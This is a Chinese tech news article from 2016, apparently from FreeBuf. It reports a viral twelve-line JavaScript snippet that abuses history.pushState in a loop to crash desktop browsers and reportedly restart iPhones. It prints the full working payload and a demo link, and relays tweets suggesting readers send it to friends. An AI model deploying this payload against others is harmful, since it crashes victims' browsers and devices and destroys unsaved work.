這十二行程式碼是如何讓瀏覽器爆炸的?

FreeBuf.COM發表於2016-01-21

起因

今天刷推特的時候發現 Cyber Security@cyber__sec 的推文讓人眼前一亮:

Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit//使用下面這段 JavaScript 程式碼能讓 firefox,chrome,safari 瀏覽器崩潰,而且還能讓 iphone 重啟。

繼續在推特上深挖發現 IT Security Tweets ™ @F1r3h4nd 於 17 日發推:

Crash your friend’s browser and restart Iphone with a link which has this script: #0day

//把帶有下面這個指令碼的連結發給你的朋友,能讓你朋友的瀏覽器崩潰,而且讓 Iphone 重啟。

完整 HTML 程式碼如下:

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString ();
    history.pushState (0,0,total);
}
</script>
</body>
</html>

demo:(溫馨提示:請儲存瀏覽器其它視窗的編輯任務)

www.0xroot.cn/demo.html (點選一下,又不會懷孕!)

接來下會發生什麼?

點開以後,我的狀態是這樣的:

如果你是 PC 端使用者,點開連結以後,電腦 CPU 記憶體極有可能一路狂飆直至瀏覽器崩潰卡死!

如果你是移動端(安卓、iPhone)使用者,點開連結以後你的瀏覽器會閃退!在微博、微信客戶端點開連結同樣會閃退。iPhone 用 Safari 開啟之後連結之後,手機登出重啟了!…

思考

這是 Bug 還是 0day?為什麼會有這一現象?如何實現的?

相關文章